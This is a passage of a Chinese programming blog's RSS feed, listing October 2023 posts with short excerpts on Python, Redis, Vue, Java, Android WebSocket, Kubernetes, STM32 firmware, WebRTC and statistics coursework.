      <description> 目录 python 字符串str与字典dict转换 字典转字符串字符串转字典 带引号不带引号 python 字符串str与字典dict转换 字典转字符串 c = {&#39;a&#39;: &#39;1&#39;, &#39;b&#39;: &#39;1&#39;} b=str(c) print(b,type(b)) 字符串转字典 字符串转字典分两种情况，需要根据你的字符串内容是否带引号决定，如&#xA;# 带引号 c = {&#39;a&#39;: &#39;1&#39;, &#39;b&#39;: &#39;1&#39;} #不带引号 c = {a: 1, b: 1} 带引号 带引号的可以用json处理将字符串转成字典，下面案例的str是从一个文件中获取，也可以直接赋值&#xA;import json #a = &#39;{&#34;a&#34;:&#34;1&#34;, &#34;b&#34;:&#34;1&#34;}&#39; with open(f&#34;.aaa.txt&#34;,&#34;r&#34;) as f: a = f.readline().strip() c=json.loads(a) print(c, type(c)) 不带引号 不带引号的可以用ast处理&#xA;import ast a = {a:1, b:1} c=ast.literal_eval(a) print(c, type(c)) </description>
    </item>
    <item>
      <title>springboot &#43; redis实现签到与统计功能</title>
      <link>https://bchobby.github.io/posts/693ede63858da80ac82211e94fbd0f1c/</link>
      <pubDate>Thu, 26 Oct 2023 22:29:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/693ede63858da80ac82211e94fbd0f1c/</guid>
      <description>在很多项目中都会有签到与统计功能，最容易想到的方案是创建一个签到表来记录每个用户的签到记录，比如设计一个mysql数据库表：&#xA;CREATE TABLE tb_sign id bigint(20) unsigned NOT NULL AUTOINCREMENT COMMENT &#39;主键&#39;, user_id bigint(20) unsigned NOT NULL COMMENT &#39;用户ID&#39;, sign_date date NOT NULL COMMENT &#39;签到的日期&#39;, is_backup tinyint(1) unsigned DEFAUL TNULL COMMENT &#39;是否补签&#39;, PRIMARY KEY (id) USING BTREE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 ROW FORMAT=COMPACT; 用户签到一次就可以往表里添加一条记录；但是这样有一个坏处，就是占用的内存太大了，会极大的消耗内存空间；比如有1万用户，每个用户每个月签到10次，那么一个月就是10万条记录，一年就是120万条；如果用户更多并且签到的次数越多，那么数据量就会更大哦。&#xA;签到一次需要使用8+8+3+1 = 20个字节，如果使用redis中的bitmap来实现，每次签到与未签到用1与0来表示，那么只需要2个字节即可了，这样极大的节约了内存；那么接下来认识与使用bitmap。&#xA;1.bitmap基本操作指令 SETBIT：向指定位置（offset）存入一个0或1&#xA;GETBIT：获取指定位置（offset）的bit值&#xA;BITCOUNT：统计BitMap中值为1的bit位的数量&#xA;BITFIELD：操作（查询、修改、自增）BitMap中bit数组中的指定位置（offset）的值&#xA;BITFIELD_RO：获取BitMap中bit数组，并以十进制形式返回&#xA;BITOP：将多个BitMap的结果做位运算（与 、或、异或）&#xA;BITPOS：查找bit数组中指定范围内第一个0或1出现的位置&#xA;1.1 新增 1.2 查询 1.3 统计值为1的数量 1.4 查询1 和 0 第一次出现的坐标 2.springboot整合redis 创建一个spring boot项目，这里比较简单，不用过多介绍；</description>
    </item>
    <item>
      <title>el-select 、el-option 常见用法</title>
      <link>https://bchobby.github.io/posts/d6da7ed005f387f61264909d623e8e52/</link>
      <pubDate>Thu, 26 Oct 2023 15:38:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d6da7ed005f387f61264909d623e8e52/</guid>
      <description>&amp;lt;template&amp;gt;&#xA;&amp;lt;div&amp;gt; // 可以多选 // 添加小叉，点击清空选择器&#xA;&amp;lt;el-select v-model=&#34;selectedValue&#34; multiple disabled clearable filterable &amp;gt;&#xA;&amp;lt;el-option // 整个选择器禁用 // 启用搜索功能,在label们中找 v-for=&#34;item in options&#34;&#xA;:key=&#34;item.value&#34;&#xA;:label=&#34;item.label&#34;&#xA;:value=&#34;item.value&#34; // value 可以为某一个属性，也可以为对象 如：value = &#34;item&#34;&#xA;// disabled 禁用效果，某一项显示但不可选择&#xA;:disabled=&#34;item.disabled&#34;&amp;gt;&#xA;&amp;lt;span style=&#34;float: left&#34;&amp;gt;{{ item.label }}&amp;lt;/span&amp;gt; // 自定义选项样式&#xA;&amp;lt;span style=&#34;float: right&#34;&amp;gt;{{ item.selfDefiningValue }}&amp;lt;/span&amp;gt;&#xA;&amp;lt;/el-option&amp;gt;&#xA;&amp;lt;/el-select&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/template&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;export default {&#xA;data() {&#xA;return {&#xA;selectedValue: &#39;&#39;, // 存储用户选择的值&#xA;options: [&#xA;{ value: &#39;option1&#39;, label: &#39;选项1&#39;,selfDefiningValue:&#39;自定义值&#39; },</description>
    </item>
    <item>
      <title>office 2010 由于本机的限制,该操作已被取消。请与系统管理员联系</title>
      <link>https://bchobby.github.io/posts/17c6e68f33dec478f7e6016b439f0f7b/</link>
      <pubDate>Thu, 26 Oct 2023 15:29:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17c6e68f33dec478f7e6016b439f0f7b/</guid>
      <description>记录一下，免得下次再遇到去找方法：&#xA;office超链接遇到这样的问题：&#xA;处理办法：&#xA;修改注册表：cmd-&amp;gt;regedit&#xA;地址：HKEY_CURRENT_USER\SOFTWARE\Classes.html&#xA;修改为:htmlfile&#xA;关闭office，再重新打开，问题解决；</description>
    </item>
    <item>
      <title>修改谷歌浏览器标签页名字</title>
      <link>https://bchobby.github.io/posts/12d778b9b011e651f19e4312e6e2d502/</link>
      <pubDate>Thu, 26 Oct 2023 14:44:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/12d778b9b011e651f19e4312e6e2d502/</guid>
      <description> 1. 背景 在开发过程中，有时我们会对同一个网站打开很多的浏览器标签页，比如 百度首页 页面，用来同时保存多个开发窗口，多个标签页内有不同的内容，但是多个标签页的名称是根据网站自动提取的，完全一样，我们可能无法区分，如下图：&#xA;此时我们很难区分每个标签页中的内容是什么，只能靠自己去记住顺序，很麻烦。如果能够修改每个标签页的名字，那就非常方便了。但是谷歌浏览器并没有提供标签页名称的修改功能，因此需要我们自己手动去执行一些步骤来操作。&#xA;2. 修改步骤 在自己要修改的标签页的页面，按 F12 键，打开开发者模式。&#xA;在上图中指示的 控制台 下面输入如下代码，然后按 回车 键执行。&#xA;javascript:void(function(){document.title=prompt(&#39;新标签页名称&#39;)}()) 执行成功后出现如下界面&#xA;在图中指示的地方输入自己想要的标签页名称，然后点击 确定。&#xA;修改完之后，效果如下。&#xA;其他标签页也可以根据这个方法一一修改，修改完之后效果如下。&#xA;3. 注意 每次执行修改一个标签页的名称。标签页名称修改完之后不要刷新标签页面，否则标签页名称又会变成原来的网站名称。 上面控制台运行的 javascript 代码，其实就是修改了页面 html 代码中的 title 标签中的内容，可以自己点击开发者工具中的 元素 查看具体的代码。直接修改 title 标签中的内容，也可以达到一样的效果，所以不能刷新页面，因为刷新页面之后，title 标签中的内容就又变回原来的了。 </description>
    </item>
    <item>
      <title>jmeter生成的HTML报告</title>
      <link>https://bchobby.github.io/posts/9b764e7e94c818233a5f796ae0e5e6a1/</link>
      <pubDate>Thu, 26 Oct 2023 14:42:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b764e7e94c818233a5f796ae0e5e6a1/</guid>
      <description>一、解读HTML报告 .图形化HTML压测报告Dashboard讲解&#xA;1）Test and Report informations&#xA;source file:生成的jtl文件名 Start Time:压测起始时间 End Time:压测结束时间 Filter for display:过滤器 Lable:sampler采样器名称（http请求的名称）&#xA;2)APDX(Application performance Index)&#xA;apdex:应用程序性能指标，范围在0~1之间，1表示到达所有用户均满意， T(Toleration threshold):可接受阀值 F(Frustration threshold):失败阀值&#xA;3)Requests Summary&#xA;FALL:失败率 PASS：通过率，成功率&#xA;4)Statistics 统计数据&#xA;lable:sampler采样器名称（http请求的名称） samples:请求总数，并发数*循环次数 FALL:失败次数 Error%:失败率&#xA;Average:平均响应的时间 min：最小响应的时间 max：最大响应的时间 90th pct:90%的用户响应不会超过这个值（建议关注这个） 95th pct:95%的用户响应不会超过这个值 99th pct:99%的用户响应不会超过这个值（到达这个值已经够高了）&#xA;throughput:Request per Second吞吐量 qps&#xA;吞吐量=并发数/平均响应时间&#xA;吞吐量=请求总数/总时长 received:每1秒从服务器接收的数据量 send：每1秒发送的数据量&#xA;2.图形化HTML压测报告 Chats报表讲解 1.Charts讲解&#xA;1)Over Time(随时间的变化)&#xA;Response Times Over time:响应时间变化趋势 Response Time Percentiles Over Time(successful responses):最大，最小，平均，用户响应时间分布&#xA;Active Threads Over Time:并发用户数趋势</description>
    </item>
    <item>
      <title>4步实现Android中的Websocket</title>
      <link>https://bchobby.github.io/posts/d5c61feff0b09a65cadce1224505e90c/</link>
      <pubDate>Thu, 26 Oct 2023 14:12:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d5c61feff0b09a65cadce1224505e90c/</guid>
      <description>本文介绍如何在Android应用中使用WebSocket实现实时通信，并通过示例入门。&#xA;微信搜索关注《Java学研大本营》&#xA;1 介绍 WebSockets彻底改变了Web平台上的实时通信，实现了客户端和服务器之间的双向数据交换。在Android应用开发中，集成WebSocket为构建响应式和交互式应用提供了强大的工具。本文将介绍WebSocket的基础知识，并指导你在Android平台上实现WebSocket，同时提供一些代码示例以帮助你入门。&#xA;2 什么是WebSocket？ WebSocket是一种全双工通信协议，它为客户端和服务器之间提供了一种双向通信渠道，通过单个长连接实现数据传输。区别于传统的HTTP请求，WebSocket允许实时事件驱动通信，从而使服务器能够立即向客户端推送数据，避免频繁的请求和响应，减少了网络开销。 WebSocket的优势在于它能够更快地传输数据，节省带宽，同时实现实时通信。 WebSocket的出现为构建响应式和交互式应用程序提供了强有力的工具，为实现更好的用户体验和更高的应用程序效率带来了便利。这种能力对于需要实时更新或实时数据流的应用程序特别有用，通过建立长连接，WebSocket可实现更快的数据传输速度，避免反复的HTTP请求和响应，从而在实时通信场景下具有显著的优势。&#xA;3 设置项目 首先，在集成开发环境（IDE）中创建一个新的Android项目，并确保已经配置了必要的依赖项。在Android中，用于WebSocket实现的常用库之一是java-websocket。通过将以下行添加到应用程序级别的build.gradle文件中，将该库包含在项目中：&#xA;implementation &#39;org.java-websocket:Java-WebSocket:1.5.1&#39; 3.1 建立WebSocket连接 在Android中建立WebSocket连接，需要创建一个新类，继承自java-websocket库中的WebSocketClient类。该类充当客户端和服务器之间的中介。为处理WebSocket事件，需要覆盖onOpen，onMessage，onClose和onError等必要的方法。&#xA;以下是建立WebSocket连接的示例：&#xA;import org.java_websocket.client.WebSocketClient; import org.java_websocket.handshake.ServerHandshake; import java.net.URI; import java.net.URISyntaxException; public class MyWebSocketClient extends WebSocketClient { public MyWebSocketClient(String serverUrl) throws URISyntaxException { super(new URI(serverUrl)); } @Override public void onOpen(ServerHandshake handshake) { // WebSocket连接已成功建立 // 在此执行任何必要的操作 } @Override public void onMessage(String message) { // 处理来自服务器的传入消息 } @Override public void onClose(int code, String reason, boolean remote) { // WebSocket连接已关闭 // 在此执行任何必要的清理操作 } @Override public void onError(Exception ex) { // 处理WebSocket连接期间发生的任何错误 } } 3.</description>
    </item>
    <item>
      <title>linq join on 多个关联条件</title>
      <link>https://bchobby.github.io/posts/203a3451beff55c8b466a1fc18048f1c/</link>
      <pubDate>Thu, 26 Oct 2023 14:07:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/203a3451beff55c8b466a1fc18048f1c/</guid>
      <description>sqlserver语句：&#xA;select * from Table1 join Table2 on Table1.Col1=Table2.Col1 and Table1.Col2=Table2.Col2&#xA;对应linq写法：&#xA;一：&#xA;var Infos = from a in Table1 join b in Table2 on new { a.Col1 , Col2 } equals new { b.Col1 , b.Col2}&#xA;select new { a.Col1, b.Col2 };&#xA;二：&#xA;var userInfos = from a in Table1&#xA;from b in Table2&#xA;where a.Col1 == b.Col1 &amp;amp;&amp;amp; a.Col2 == b.Col2&#xA;select new { a.Col1, b.Col2 };</description>
    </item>
    <item>
      <title>转：java 属性赋值（驼峰-＞驼峰，驼峰-＞下划线，下划线-＞驼峰）</title>
      <link>https://bchobby.github.io/posts/1e72a23240f9a02a311f65a1101092d0/</link>
      <pubDate>Thu, 26 Oct 2023 12:00:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e72a23240f9a02a311f65a1101092d0/</guid>
      <description>转自：java中如何快速优雅的把一个对象的属性赋值到另一个对象中（驼峰-＞驼峰，驼峰-＞下划线，下划线-＞驼峰）_如何快速赋予对象属性内容-CSDN博客&#xA;/** * ConvertUtil 转换工具类 */ public class ConvertUtil { /** * 驼峰对象转换为下划线对象 * @param source 驼峰对象 * @param target 下划线对象 * @return */ public static void humpObj2UlObj(Object source, Object target) { Map&amp;lt;String,Object&amp;gt; map1 = obj2Map(source); Map&amp;lt;String,Object&amp;gt; map2 = new HashMap&amp;lt;&amp;gt;(); for(String key : map1.keySet()){ map2.put(hump2Ul(key),map1.get(key)); } Object obj = map2Obj(map2, target.getClass()); BeanUtils.copyProperties(obj,target); } /** * 下划线对象转换为驼峰对象 * @param source 下划线对象 * @param target 驼峰对象 * @return */ public static void ulObj2HumpObj(Object source, Object target) { Map&amp;lt;String,Object&amp;gt; map1 = obj2Map(source); Map&amp;lt;String,Object&amp;gt; map2 = new HashMap&amp;lt;&amp;gt;(); for(String key : map1.</description>
    </item>
    <item>
      <title>java多线程中，关于Thread类的join()方法释放锁的一些问题</title>
      <link>https://bchobby.github.io/posts/a1b58b2dec265380ebeee0a2a88caf56/</link>
      <pubDate>Thu, 26 Oct 2023 10:07:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a1b58b2dec265380ebeee0a2a88caf56/</guid>
      <description>【精选】JAVA多线程：狂抓 join()方法到底会不会释放锁，给你彻底介绍清楚（三）_join会释放锁吗-CSDN博客&#xA;java线程join方法会释放锁吗_wait和join哪个会释放锁_王者生辉的博客-CSDN博客&#xA;关于join()方法是否释放锁的问题搜了一下，大概看了这两篇文章，但是感觉都没有提到我理解的那个点，结合源码和自己的理解，补充一下。&#xA;首先join()方法调用的是native方法wait()，wait()方法是释放锁的。那么关键就是释放的什么锁？&#xA;public class JoinTest { public static void main(String[] args) { Object object = new Object(); MyThread myThread = new MyThread(&#34;MyThread&#34;, object); myThread.start(); synchronized (myThread){ //synchronized (MyThread.class){ //synchronized (object){ for (int i = 0; i &amp;lt; 100; i++) { if (i == 20){ try { System.out.println(&#34;myThread start join&#34;); myThread.join(); System.out.println(&#34;myThread finish join&#34;); } catch (InterruptedException e) { e.printStackTrace(); } } System.out.println(Thread.currentThread().getName() + i); } System.out.println(&#34;main方法执行完毕！&#34;); } } } class MyThread extends Thread { private String name; private Object object; public MyThread(String name, Object object) { this.</description>
    </item>
    <item>
      <title>Python 实现粒子群算法（PSO）</title>
      <link>https://bchobby.github.io/posts/3f65a357aadf487b1685c7a49b17a069/</link>
      <pubDate>Thu, 26 Oct 2023 02:49:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f65a357aadf487b1685c7a49b17a069/</guid>
      <description>粒子群算法 1. 题目介绍 粒子群算法，其全称为粒子群优化算法 (Particle Swarm Optimization, PSO) 。它是通过模拟鸟群觅食行为而发展起来的一种基于群体协作的搜索算法。粒子群算法属于启发式算法也叫智能优化算法，其基本思想在于通过群体中个体之间的协作和信息共享来寻找最优解。&#xA;我们的目标是寻找一个函数的全局最小值或最大值，这个函数可以是二维或三维的，也可以是多维的。为了方便理解，下面通过一张图来直观地理解这个算法（也是本实验的结果）：&#xA;可以看到，一开始图中有很多点，它们随机地分布在三维图像中，随着算法的进行，这些点会逐渐往全局最小值的方向靠拢，这个过程就像鸟类觅食一样，找到食物的鸟会带着其它鸟往食物靠拢。有的点移动得快，到达全局最小值后就不怎么动了；有些点移动得慢，会在局部来回震荡，始终也无法到达目标位置。但是不管怎样，只要有一个点到达了最优位置，就可以认为算法已经成功找到了最优解。&#xA;上图中这个三维函数的定义为：&#xA;f ( x , y ) = { 30 x − y ; x &amp;lt; m , y &amp;lt; m 30 y − x ; x &amp;lt; m , y ≥ m x 2 − y / 2 ; x ≥ m , y ≤ m 20 y 2 − 500 x ; x ≥ m , y ≥ m f(x, y) =\begin{cases} 30x-y; &amp;amp; x&amp;lt;m, y&amp;lt;m \\ 30y-x; &amp;amp; x&amp;lt;m,y≥m \\ x^2-y/2; &amp;amp; x≥m,y≤m \\ 20y^2-500x; &amp;amp; x≥m, y≥m \end{cases} f(x,y)=⎩ ⎨ ⎧​30x−y;30y−x;x2−y/2;20y2−500x;​x&amp;lt;m,y&amp;lt;mx&amp;lt;m,y≥mx≥m,y≤mx≥m,y≥m​</description>
    </item>
    <item>
      <title>使用HAL库完成LED流水灯</title>
      <link>https://bchobby.github.io/posts/0c4e48958689d586e7d59355b5f3642a/</link>
      <pubDate>Wed, 25 Oct 2023 22:41:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c4e48958689d586e7d59355b5f3642a/</guid>
      <description>使用HAL库完成LED流水灯 目录 **使用HAL库完成LED流水灯****一.HAL库安装****二.配置HAL库****三.代码编写****三.烧录代码****四.观察波形****五.总结** 一.HAL库安装 搭载HAL库的软件为stm32cubemx，下载地址为https://www.st.com/en/development-tools/stm32cubemx.html&#xA;下载后在HELP处安装自己需要的HAL库&#xA;二.配置HAL库 1.选择需要的stm32芯片&#xA;2.选择SYS&#xA;3.选择RCC&#xA;4.选择GPIO，配置需要的PIN&#xA;5.选择CLock Configuration 6.选择PROJECT MANAGER&#xA;7.点击右上方的GENERATE CODE&#xA;8.然后打开文件&#xA;三.代码编写 1.在main.c中的while循环中加入以下代码&#xA;HAL_GPIO_WritePin(GPIOB, GPIO_PIN_0, GPIO_PIN_RESET); HAL_Delay(1000); HAL_GPIO_WritePin(GPIOB, GPIO_PIN_0, GPIO_PIN_SET); HAL_GPIO_WritePin(GPIOA, GPIO_PIN_0, GPIO_PIN_RESET); HAL_Delay(1000); HAL_GPIO_WritePin(GPIOA, GPIO_PIN_0, GPIO_PIN_SET); HAL_GPIO_WritePin(GPIOC, GPIO_PIN_15, GPIO_PIN_RESET); HAL_Delay(1000); HAL_GPIO_WritePin(GPIOC, GPIO_PIN_15, GPIO_PIN_SET); 2.进行编译:&#xA;三.烧录代码 1.进入串口助手&#xA;2.结果&#xA;四.观察波形 1.设置debug&#xA;2.点击调试&#xA;3.选择逻辑分析仪，并点击setup logic analy&#xA;4.添加管脚&#xA;5.点击运行并观察图像 五.总结 这次实验学习了hal库的使用方法，理清了GPIO的使用原理，观察到了较精准的图像，但对代码编写掌握不足。</description>
    </item>
    <item>
      <title>加上boot程序,FreeRTOS就跑不起来了</title>
      <link>https://bchobby.github.io/posts/8ce818b929d864e946a03b07b4565fd8/</link>
      <pubDate>Wed, 25 Oct 2023 17:33:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ce818b929d864e946a03b07b4565fd8/</guid>
      <description>一、问题描述&#xA;bootloader跳转到APP时，app执行完初始化程序后死机&#xA;二、分析问题&#xA;第一步，执行app时死机死到哪里？通过DEBUG调试发现死到hardfault_handler()函数中，硬件错误，导致硬件错误的原因一般都是中断异常引起的。&#xA;第二步，找到问题，然后分析什么原因导致硬件错误？一般bootloader跳转到APP时要关闭app中用到的中断，那么查看系统中用到的中断：串口中断、滴答定时器中断，所以，跳转之前要关闭这两个中断：_disable_irq()和systick。&#xA;三、解决问题&#xA;1.办法1&#xA;关闭中断之后，跳转执行app正常。&#xA;void iap_load_app(u32 appxaddr)//&#xA;{ SysTick-&amp;gt;CTRL = 0X00;//禁止SysTick&#xA;SysTick-&amp;gt;LOAD = 0;&#xA;SysTick-&amp;gt;VAL = 0;&#xA;__disable_irq();&#xA;jump2app=(iapfun)*(vu32*)(appxaddr+4); //用户代码区第二个字为程序开始地址(复位地址) MSR_MSP(*(vu32*)appxaddr); //初始化APP堆栈指针(用户代码区的第一个字用于存放栈顶地址)&#xA;jump2app(); //跳转到APP.&#xA;}&#xA;2.办法2&#xA;如下图，要打勾，不然就无法运行&#xA;四，结论&#xA;1.bootloader跳转到app之前要关闭app中用到的中断，不然就会出现硬件错误导致死机；&#xA;2.对app的内部机制要比较了解，比如：用到哪些中断、外设，这样遇到问题才能更好分析，不要停留在会用层面，一定要了解透彻，这样无论遇到什么问题，都能有一个正确的分析思路。</description>
    </item>
    <item>
      <title>k8s 1.28版本：使用StorageClass动态创建PV，SelfLink 问题修复</title>
      <link>https://bchobby.github.io/posts/772ab748bbafbc10ec8ef543b0c068d8/</link>
      <pubDate>Wed, 25 Oct 2023 15:03:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/772ab748bbafbc10ec8ef543b0c068d8/</guid>
      <description>k8s中提供了一套自动创建 PV 的机制，就是基于 StorageClass 进行的，通过 StorageClass 可以实现仅仅配置 PVC，然后交由 StorageClass 根据 PVC 的需求动态创建 PV。&#xA;问题：&#xA;使用 k8s 1.28版本，通过 kubectl get pvc，发现 PVC一直处于 Pending 状态。通过kubectl describe pvc [pvc名称]描述，发现如下错误：Waiting for a volume to be created either by the external provisioner &#39;fuseim.pri/ifs&#39; or manually by the system administrator. If volume creation is delayed, please verify that the provisioner is running and correctly registered.&#xA;原因：&#xA;在 k8s 1.20 之后，出于对性能和统一 apiserver 调用方式的初衷，k8s 移除了对 SelfLink 的支持，而默认上面指定的 provisioner 版本需要 SelfLink 功能，因此 PVC 无法进行自动制备。</description>
    </item>
    <item>
      <title>SpringBoot&#43;WebSocket&#43;Vue&#43;PeerJs实现WebRTC视频通话功能，Vue视频通话，web视频通话，webrtc视频通话</title>
      <link>https://bchobby.github.io/posts/07fb14a294d69644d604d02f7c49b018/</link>
      <pubDate>Wed, 25 Oct 2023 13:33:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/07fb14a294d69644d604d02f7c49b018/</guid>
      <description>开发背景 博主正在担任一款电商app的全栈开发，其中涉及到一个视频通话功能。但是由于业务需求及成本考虑，不能使用第三方提供的SDK进行开发。所以博主选择使用PeerJs+WebSocket来实现这个功能。&#xA;专业名词、术语解释 WebSocket WebSocket是一种在单个TCP连接上进行全双工通信的协议。WebSocket通信协议于2011年被IETF定为标准RFC 6455，并由RFC7936补充规范。WebSocket API也被W3C定为标准。&#xA;WebSocket使得客户端和服务器之间的数据交换变得更加简单，允许服务端主动向客户端推送数据。在WebSocket API中，浏览器和服务器只需要完成一次握手，两者之间就直接可以创建持久性的连接，并进行双向数据传输。&#xA;WebRTC WebRTC(Web Real-Time Communications) 是一项实时通讯技术，它允许网络应用或者站点，在不借助中间媒介的情况下，建立浏览器之间点对点（Peer-to-Peer）的连接，实现视频流和（或）音频流或者其他任意数据的传输。WebRTC 包含的这些标准使用户在无需安装任何插件或者第三方的软件的情况下，创建点对点（Peer-to-Peer）的数据分享和电话会议成为可能&#xA;PeerJs PeerJS simplifies WebRTC peer-to-peer data, video, and audio calls.&#xA;PeerJS wraps the browser’s WebRTC implementation to provide a complete, configurable, and easy-to-use peer-to-peer connection API. Equipped with nothing but an ID, a peer can create a P2P data or media stream connection to a remote peer.&#xA;以上内容来源于PeerJs官网介绍，大概的意思如下（仅供参考，博主英语不好）：&#xA;PeerJS简化了WebRTC点对点数据、视频和音频呼叫。&#xA;PeerJS封装了浏览器的WebRTC实现 提供一个完整 可配置且易于使用的点对点连接API，只需要一个id就能创建到远程的P2P数据或媒体流连接。&#xA;PeerJs官网：https://peerjs.com&#xA;PeerJs官方文档：https://peerjs.com/docs/</description>
    </item>
    <item>
      <title>PKU 概率论&#43;数理统计&#43;建模 期中考复习总结</title>
      <link>https://bchobby.github.io/posts/31291a97925e0d91d8c82dfa56444c49/</link>
      <pubDate>Wed, 25 Oct 2023 11:34:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/31291a97925e0d91d8c82dfa56444c49/</guid>
      <description>目录 计算条件概率计算概率（放回与不放回）生成随机数算法Linear Congruential Method判断是否是full period Uniformity (test of frequency)1.Chi-Square testmethodreminderexample 2.Kolmogorov-Sminov testmethodexample Independence (test of autocorrelation)Runs test Acceptance-rejection methodmethod较好理解版 methodexample方法1：建议函数使用指数分布方法2：双指数分布生成正态分布方法3： 使用Acceptance-Rejection method对连续型随机变量有效，证明处处都有 P ( X ≤ x ) = F X ( x ) P(X≤x)=F_X(x) P(X≤x)=FX​(x) Empirical distribution 经验分布The Empirical Distribution ProcedureUngrouped dataconditionmethodconstruction method生成U去寻找x grouped dataconditionconstruction methodexampleHow about discrete empirical distribution? 经验分布的优点与缺点example Maximum Likelihood Estimator 最大似然估计判断数据是否相互独立 计算条件概率 【作业题】&#xA;Suppose that Die-Hardly-Ever battery has an exponential time-to-failure&#xA;distribution with a mean of 48 months.</description>
    </item>
    <item>
      <title>Mysql常用字段类型</title>
      <link>https://bchobby.github.io/posts/2bfa97d2f87f782319d4ea886765f94f/</link>
      <pubDate>Wed, 25 Oct 2023 11:34:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2bfa97d2f87f782319d4ea886765f94f/</guid>
      <description>转载：https://zhuanlan.zhihu.com/p/348469225&#xA;1.数值类型&#xA;整型经常被用到，比如 tinyint、int、bigint 。默认是有符号的，若只需存储无符号值，可增加 unsigned 属性。&#xA;int(M)中的 M 代表最大显示宽度，并不是说 int(1) 就不能存储数值10了，不管设定了显示宽度是多少个字符，int 都是占用4个字节，即int(5)和int(10)可存储的范围一样。&#xA;浮点型主要有 float，double 两个，浮点型在数据库中存放的是近似值，例如float(6,3)，如果插入一个数123.45678，实际数据库里存的是123.457，但总个数还以实际为准，即6位，整数部分最大是3位。&#xA;定点型字段类型有 DECIMAL 一个，主要用于存储有精度要求的小数。 2.字符串类型&#xA;3.日期时间类型</description>
    </item>
    <item>
      <title>Redis基础（含下载安装）与数据类型</title>
      <link>https://bchobby.github.io/posts/5c8a942bf56a0227b4458e432321c8a1/</link>
      <pubDate>Wed, 25 Oct 2023 11:09:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c8a942bf56a0227b4458e432321c8a1/</guid>
      <description>1.Redis基础 1.NoSQL概述 问题现象&#xA;在春运使用12306买票，与在淘宝买东西等情况时会出现春节期间买票进不去，进去了刷不着票，原因是以为用户量太大&#xA;特征&#xA;1.海量用户&#xA;2.高并发&#xA;这两个现象出现以后，对应的就会造成我们的服务器瘫痪，其实并不是我们的应用服务器，而是我们的关系型数据库。关系型数据库才是最终的罪魁祸首&#xA;造成原因&#xA;1.性能瓶颈：磁盘IO性能低下&#xA;​关系型数据库在存取数据的时候和读取数据的时候他要走磁盘IO。磁盘这个性能本身是比较低的&#xA;2.扩展瓶颈：数据关系复杂，扩展性差，不便于大规模集群 关系型数据库，它里面表与表之间的关系非常复杂，就是一张表，通过它的外键关联了七八张表，这七八张表又通过它的外键，每张又关联了四五张表。要想拿到数据，你就要从A到B、B到C、C到D的一直这么关联下去，最终非常影响查询的效率。同时，你想扩展下，也很难&#xA;解决思路&#xA;1.降低磁盘IO次数，越低越好 ——用内存存储&#xA;​2.去除数据间关系，越简单越好 ——不存关系，只存数据&#xA;把这两个特征一合并一起，就出来了一个新的概念：NoSQL&#xA;NoSQL：即 Not-Only SQL（ 泛指非关系型的数据库），作为关系型数据库的补充。 作用：应对基于海量用户和海量数据前提下的数据处理问题&#xA;特征&#xA;可扩容，可伸缩。SQL数据关系过于复杂，扩容一下难度很高，那Nosql 这种的，不存关系，所以它的扩容就简单一些。&#xA;​大数据量下高性能。当数据非常多的时候，它的性能高，因为不走磁盘IO，走的是内存，性能肯定要比磁盘IO的性能快一些。&#xA;​灵活的数据模型、高可用。他设计了自己的一些数据存储格式，这样能保证效率上来说是比较高的，最后一个高可用，我们等到集群内部分再去它&#xA;常见 Nosql 数据库&#xA;目前市面上常见的Nosql产品：Redis、memcache、HBase、MongoDB&#xA;应用场景&#xA;2.Redis概述 Redis (Remote Dictionary Server：远程词典服务器) 是用 C 语言开发的一个开源的高性能（内存型）键值对（key-value）数据库&#xA;特征&#xA;1.数据间没有必然的关联关系；&#xA;2.内部采用单线程机制进行工作；&#xA;3.高性能。官方提供测试数据，50个并发执行100000 个请求,读的速度是110000 次/s,写的速度是81000次/s。&#xA;4.多数据类型支持&#xA;字符串类型 string&#xA;列表类型 list&#xA;散列类型 hash&#xA;集合类型 set&#xA;有序集合类型 zset/sorted_set&#xA;5.支持持久化，可以进行数据灾难恢复&#xA;redis的应用场景&#xA;1.为热点数据加速查询（主要场景）。如热点商品、热点新闻、热点资讯、推广类等高访问量信息等。&#xA;2.即时信息查询。如各位排行榜、各类网站访问统计、公交到站信息、在线人数信息（聊天室、网站）、设备信号等。&#xA;3.时效性信息控制。如验证码控制、投票控制等。&#xA;4.分布式数据共享。如分布式集群架构中的 session 分离。&#xA;5.消息队列&#xA;3.Redis下载 下载安装包</description>
    </item>
    <item>
      <title>Android Studio基础工作流程-xml布局文件如何调用显示</title>
      <link>https://bchobby.github.io/posts/35d00588712541e4e5ac26dcabf13b8f/</link>
      <pubDate>Wed, 25 Oct 2023 10:23:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/35d00588712541e4e5ac26dcabf13b8f/</guid>
